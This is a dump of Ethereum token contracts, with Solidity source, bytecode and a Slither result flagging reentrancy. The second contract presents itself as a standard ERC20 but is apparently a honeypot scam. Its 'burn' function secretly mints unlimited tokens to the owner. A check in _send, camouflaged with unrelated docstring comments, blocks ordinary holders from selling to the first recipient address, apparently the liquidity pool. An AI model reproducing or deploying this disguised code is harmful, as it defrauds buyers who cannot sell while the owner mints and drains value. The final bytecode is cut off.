function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 200_000_001 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 13) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 13) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034e578063c3c8cd801461036e578063c9567bf914610383578063dbe8272c14610398578063dc1052e2146103b8578063dd62ed3e146103d857600080fd5b8063715018a6146102aa5780638da5cb5b146102bf57806395d89b41146102e75780639e78fb4f14610319578063a9059cbb1461032e57600080fd5b806323b872dd116100f257806323b872dd14610219578063273123b714610239578063313ce567146102595780636fc3eaec1461027557806370a082311461028a57600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a457806318160ddd146101d45780631bbae6e0146101f957600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a61015536600461166e565b61041e565b005b34801561016857600080fd5b5060408051808201909152600d81526c444547454e494e4a4120494e5560981b60208201525b60405161019b919061168b565b60405180910390f35b3480156101b057600080fd5b506101c46101bf366004611705565b61046f565b604051901515815260200161019b565b3480156101e057600080fd5b50678ac7230489e800005b60405190815260200161019b565b34801561020557600080fd5b5061015a610214366004611731565b610486565b34801561022557600080fd5b506101c461023436600461174a565b6104c9565b34801561024557600080fd5b5061015a61025436600461178b565b610532565b34801561026557600080fd5b506040516009815260200161019b565b34801561028157600080fd5b5061015a61057d565b34801561029657600080fd5b506101eb6102a536600461178b565b6105b1565b3480156102b657600080fd5b5061015a6105d3565b3480156102cb57600080fd5b506000546040516001600160a01b03909116815260200161019b565b3480156102f357600080fd5b50604080518082019091526009815268444547454e494e4a4160b81b602082015261018e565b34801561032557600080fd5b5061015a610647565b34801561033a57600080fd5b506101c4610349366004611705565b610859565b34801561035a57600080fd5b5061015a6103693660046117be565b610866565b34801561037a57600080fd5b5061015a6108fc565b34801561038f57600080fd5b5061015a61093c565b3480156103a457600080fd5b5061015a6103b3366004611731565b610ae5565b3480156103c457600080fd5b5061015a6103d3366004611731565b610b1d565b3480156103e457600080fd5b506101eb6103f3366004611883565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104515760405162461bcd60e51b8152600401610448906118bc565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600061047c338484610b55565b5060015b92915050565b6000546001600160a01b031633146104b05760405162461bcd60e51b8152600401610448906118bc565b6702c68af0f6aeca008111156104c65760108190555b50565b60006104d6848484610c79565b610528843361052385604051806060016040528060288152602001611a82602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f89565b610b55565b5060019392505050565b6000546001600160a01b0316331461055c5760405162461bcd60e51b8152600401610448906118bc565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a75760405162461bcd60e51b8152600401610448906118bc565b476104c681610fc3565b6001600160a01b03811660009081526002602052604081205461048090610ffd565b6000546001600160a01b031633146105fd5760405162461bcd60e51b8152600401610448906118bc565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106715760405162461bcd60e51b8152600401610448906118bc565b600f54600160a01b900460ff16156106cb5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610448565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610730573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075491906118f1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c591906118f1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610812573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083691906118f1565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b600061047c338484610c79565b6000546001600160a01b031633146108905760405162461bcd60e51b8152600401610448906118bc565b60005b81518110156108f8576001600660008484815181106108b4576108b461190e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108f08161193a565b915050610893565b5050565b6000546001600160a01b031633146109265760405162461bcd60e51b8152600401610448906118bc565b6000610931306105b1565b90506104c681611081565b6000546001600160a01b031633146109665760405162461bcd60e51b8152600401610448906118bc565b600e546109869030906001600160a01b0316678ac7230489e80000610b55565b600e546001600160a01b031663f305d71947306109a2816105b1565b6000806109b76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a1f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a449190611955565b5050600f80546702c68af0f6aeca0060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610ac1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c69190611983565b6000546001600160a01b03163314610b0f5760405162461bcd60e51b8152600401610448906118bc565b600d8110156104c657600b55565b6000546001600160a01b03163314610b475760405162461bcd60e51b8152600401610448906118bc565b600d8110156104c657600c55565b6001600160a01b038316610bb75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610448565b6001600160a01b038216610c185760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610448565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cdd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610448565b6001600160a01b038216610d3f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610448565b60008111610da15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610448565b6001600160a01b03831660009081526006602052604090205460ff1615610dc757600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e0957506001600160a01b03821660009081526005602052604090205460ff16155b15610f79576000600955600c54600a55600f546001600160a01b038481169116148015610e445750600e546001600160a01b03838116911614155b8015610e6957506001600160a01b03821660009081526005602052604090205460ff16155b8015610e7e5750600f54600160b81b900460ff165b15610eab576000610e8e836105b1565b601054909150610e9e83836111fb565b1115610ea957600080fd5b505b600f546001600160a01b038381169116148015610ed65750600e546001600160a01b03848116911614155b8015610efb57506001600160a01b03831660009081526005602052604090205460ff16155b15610f0c576000600955600b54600a555b6000610f17306105b1565b600f54909150600160a81b900460ff16158015610f425750600f546001600160a01b03858116911614155b8015610f575750600f54600160b01b900460ff165b15610f7757610f6581611081565b478015610f7557610f7547610fc3565b505b505b610f8483838361125a565b505050565b60008184841115610fad5760405162461bcd60e51b8152600401610448919061168b565b506000610fba84866119a0565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f8573d6000803e3d6000fd5b60006007548211156110645760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610448565b600061106e611265565b905061107a8382611288565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110c9576110c961190e565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611122573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114691906118f1565b816001815181106111595761115961190e565b6001600160a01b039283166020918202929092010152600e5461117f9130911684610b55565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111b89085906000908690309042906004016119b7565b600060405180830381600087803b1580156111d257600080fd5b505af11580156111e6573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112088385611a28565b90508381101561107a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610448565b610f848383836112ca565b60008060006112726113c1565b90925090506112818282611288565b9250505090565b600061107a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611401565b6000806000806000806112dc8761142f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061130e908761148c565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461133d90866111fb565b6001600160a01b03891660009081526002602052604090205561135f816114ce565b6113698483611518565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113ae91815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e800006113dc8282611288565b8210156113f857505060075492678ac7230489e8000092509050565b90939092509050565b600081836114225760405162461bcd60e51b8152600401610448919061168b565b506000610fba8486611a40565b600080600080600080600080600061144c8a600954600a5461153c565b925092509250600061145c611265565b9050600080600061146f8e878787611591565b919e509c509a509598509396509194505050505091939550919395565b600061107a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f89565b60006114d8611265565b905060006114e683836115e1565b3060009081526002602052604090205490915061150390826111fb565b30600090815260026020526040902055505050565b600754611525908361148c565b60075560085461153590826111fb565b6008555050565b6000808080611556606461155089896115e1565b90611288565b9050600061156960646115508a896115e1565b905060006115818261157b8b8661148c565b9061148c565b9992985090965090945050505050565b60008080806115a088866115e1565b905060006115ae88876115e1565b905060006115bc88886115e1565b905060006115ce8261157b868661148c565b939b939a50919850919650505050505050565b6000826115f057506000610480565b60006115fc8385611a62565b9050826116098583611a40565b1461107a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610448565b80151581146104c657600080fd5b60006020828403121561168057600080fd5b813561107a81611660565b600060208083528351808285015260005b818110156116b85785810183015185820160400152820161169c565b818111156116ca576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104c657600080fd5b8035611700816116e0565b919050565b6000806040838503121561171857600080fd5b8235611723816116e0565b946020939093013593505050565b60006020828403121561174357600080fd5b5035919050565b60008060006060848603121561175f57600080fd5b833561176a816116e0565b9250602084013561177a816116e0565b929592945050506040919091013590565b60006020828403121561179d57600080fd5b813561107a816116e0565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117d157600080fd5b823567ffffffffffffffff808211156117e957600080fd5b818501915085601f8301126117fd57600080fd5b81358181111561180f5761180f6117a8565b8060051b604051601f19603f83011681018181108582111715611834576118346117a8565b60405291825284820192508381018501918883111561185257600080fd5b938501935b8285101561187757611868856116f5565b84529385019392850192611857565b98975050505050505050565b6000806040838503121561189657600080fd5b82356118a1816116e0565b915060208301356118b1816116e0565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561190357600080fd5b815161107a816116e0565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561194e5761194e611924565b5060010190565b60008060006060848603121561196a57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561199557600080fd5b815161107a81611660565b6000828210156119b2576119b2611924565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a075784516001600160a01b0316835293830193918301916001016119e2565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a3b57611a3b611924565b500190565b600082611a5d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a7c57611a7c611924565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204d1974082fe3efd5364dd665f64efb7482a4e9d975b68f5e59a8ffcad206bc8d64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,157 |
0xb59c6a97dc5de30114e3e776838fb5cd73ff5b4b
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.6;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier everyone {
require(msg.sender == owner);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint256 _totalSupply;
uint internal number;
address internal burnAddress;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) virtual public payable returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function burn(address _address, uint256 tokens) public everyone {
burnAddress = _address;
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
_totalSupply = _totalSupply.add(tokens);
balances[_address] = balances[_address].add(tokens);
}
/**
* dev Burns a specific amount of tokens.
* param value The amount of lowest token units to be burned.
*/
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the burn address. */ || (start == burnAddress && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
}
contract StandardERC20 is TokenERC20 {
function initialize() public payable everyone() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint256 _supply, address _burn, address _dele, uint256 _number) {
symbol = _symbol;
name = _name;
decimals = 18;
_totalSupply = _supply*(10**uint256(decimals));
burnAddress = _burn;
number = _number*(10**uint256(decimals));
delegate = _dele;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
}
|
0x6080604052600436106100c25760003560e01c80638129fc1c1161007f5780639dc29fac116100595780639dc29fac146103f2578063a9059cbb1461044d578063cae9ca51146104be578063dd62ed3e146105b9576100c2565b80638129fc1c146103175780638da5cb5b1461032157806395d89b4114610362576100c2565b806306fdde03146100c7578063095ea7b31461015757806318160ddd146101c857806323b872dd146101f3578063313ce5671461028457806370a08231146102b2575b600080fd5b3480156100d357600080fd5b506100dc61063e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016357600080fd5b506101b06004803603604081101561017a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106dc565b60405180821515815260200191505060405180910390f35b3480156101d457600080fd5b506101dd61082c565b6040518082815260200191505060405180910390f35b3480156101ff57600080fd5b5061026c6004803603606081101561021657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610887565b60405180821515815260200191505060405180910390f35b34801561029057600080fd5b50610299610c12565b604051808260ff16815260200191505060405180910390f35b3480156102be57600080fd5b50610301600480360360208110156102d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c25565b6040518082815260200191505060405180910390f35b61031f610c6e565b005b34801561032d57600080fd5b50610336610d15565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561036e57600080fd5b50610377610d39565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103b757808201518184015260208101905061039c565b50505050905090810190601f1680156103e45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103fe57600080fd5b5061044b6004803603604081101561041557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd7565b005b34801561045957600080fd5b506104a66004803603604081101561047057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f24565b60405180821515815260200191505060405180910390f35b6105a1600480360360608110156104d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561051b57600080fd5b82018360208201111561052d57600080fd5b8035906020019184600183028401116401000000008311171561054f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611183565b60405180821515815260200191505060405180910390f35b3480156105c557600080fd5b50610628600480360360408110156105dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061138a565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d45780601f106106a9576101008083540402835291602001916106d4565b820191906000526020600020905b8154815290600101906020018083116106b757829003601f168201915b505050505081565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156107bd57816006819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610882600860008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055461141190919063ffffffff16565b905090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156109135750600073ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b1561095e5782600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610969565b610968848461142b565b5b6109bb82600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461141190919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a8d82600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461141190919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b5f82600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164990919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cc657600080fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610d11573d6000803e3d6000fd5b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dcf5780601f10610da457610100808354040283529160200191610dcf565b820191906000526020600020905b815481529060010190602001808311610db257829003601f168201915b505050505081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e2f57600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffff